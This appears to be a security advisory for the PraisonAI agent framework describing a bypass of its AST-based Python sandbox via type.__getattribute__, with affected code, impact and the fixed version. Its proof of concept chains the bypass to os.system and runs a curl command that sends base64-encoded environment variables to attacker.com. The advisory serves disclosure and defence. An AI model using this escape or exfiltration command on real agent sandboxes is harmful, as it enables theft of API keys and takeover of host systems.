VDB
KO
HIGH 8.6

GHSA-3c4r-6p77-xwr7

PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

Details

PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code.

## Description

The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.

```python type.__getattribute__(obj, '__subclasses__') # Bypasses filter ```

The string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list.

## Proof of Concept

```python # This code bypasses the sandbox and achieves RCE t = type int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__ bases = t.__getattribute__(int_cls, '__bases__') obj_cls = bases[0]

# Bypass blocked __subclasses__ subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__') all_subclasses = subclasses_fn()

# Find _wrap_close class for c in all_subclasses: if t.__getattribute__(c, '__name__') == '_wrap_close': # Get __init__.__globals__ via bypass init = t.__getattribute__(c, '__init__') glb = type(init).__getattribute__(init, '__globals__') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"') ```

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## Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

* Access sensitive data such as environment variables, API keys, and local files * Execute arbitrary system commands * Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

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## Affected Code

```python # praisonaiagents/tools/python_tools.py (approximate) def _execute_code_direct(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blocked_attrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safe_globals) ```

**Reporter:** Lakshmikanthan K (letchupkt)

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Affected packages

PyPI / praisonai
Introduced in: 0 Fixed in: 4.5.128
Fix pip install --upgrade 'praisonai>=4.5.128'

References